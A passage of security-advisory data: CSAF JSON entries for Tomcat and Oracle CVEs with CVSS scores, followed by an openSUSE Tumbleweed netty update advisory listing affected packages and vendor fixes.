"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-55956"
},
{
"cve": "CVE-2026-59084",
"notes": [
{
"category": "description",
"text": "Multiple Apache Tomcat versions contain an Insufficient Technical Documentation vulnerability related to EncryptInterceptor configuration and security flaws leading to sensitive data exposure, addressed in updates 11.0.24, 10.1.57, and 9.0.120 with various bug fixes and improvements.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-59084 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-59084.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-59084"
},
{
"cve": "CVE-2026-71142",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Communications Unified Inventory Management (v7.5.0-8.0.1) allows unauthenticated attackers with HTTP network access to gain unauthorized access to critical data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71142 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71142.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71142"
},
{
"cve": "CVE-2026-71143",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Communications Unified Inventory Management 7.5.0 to 8.0.1 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 7.4 indicating high confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71143 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71143.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.4,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71143"
}
]
}
OPENSUSE-SU-2026:10795-1
Vulnerability from csaf_opensuse - Published: 2026-05-16 00:00 - Updated: 2026-05-16 00:00Summary
netty-4.1.133-1.1 on GA media
Severity
Moderate
Notes
Title of the patch: netty-4.1.133-1.1 on GA media
Description of the patch: These are all security issues fixed in the netty-4.1.133-1.1 package on the GA media of openSUSE Tumbleweed.
Patchnames: openSUSE-Tumbleweed-2026-10795
Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).
6.5 (Medium)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
moderate
7.5 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
8.2 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
7.3 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
7.3 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
7.5 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
7.5 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
5.6 (Medium)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
moderate
6.5 (Medium)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
moderate
8.2 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
7.5 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
5.3 (Medium)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
moderate
References
38 references
| URL | Category |
|---|---|
| https://www.suse.com/support/security/rating/ | external |
| https://ftp.suse.com/pub/projects/security/csaf/o… | self |
